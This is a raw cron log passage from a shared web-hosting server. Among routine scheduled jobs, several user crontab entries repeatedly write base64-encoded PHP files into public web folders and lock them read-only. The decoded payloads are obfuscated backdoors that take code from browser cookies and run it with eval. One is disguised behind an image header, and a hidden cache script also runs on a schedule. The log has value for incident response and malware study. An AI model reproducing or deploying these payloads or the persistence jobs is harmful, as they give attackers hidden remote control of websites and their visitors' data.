"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:16:01 medusa CROND[18433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:16:01 medusa CROND[18434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:17:01 medusa CROND[6198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:17:01 medusa CROND[6199]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:17:01 medusa CROND[6200]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:17:01 medusa CROND[6201]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:17:01 medusa CROND[6202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:17:01 medusa CROND[6208]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:17:01 medusa CROND[6207]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 17:17:01 medusa CROND[6205]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:17:01 medusa CROND[6209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:17:01 medusa CROND[6213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:17:01 medusa CROND[6217]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:17:01 medusa CROND[6218]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:17:01 medusa CROND[6219]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:18:01 medusa CROND[26697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:18:01 medusa CROND[26745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:18:01 medusa CROND[26746]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:18:01 medusa CROND[26776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:18:01 medusa CROND[26781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:18:01 medusa CROND[26782]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:18:01 medusa CROND[26783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:18:01 medusa CROND[26785]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:18:01 medusa CROND[26784]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:18:01 medusa CROND[26786]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:18:01 medusa CROND[26787]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 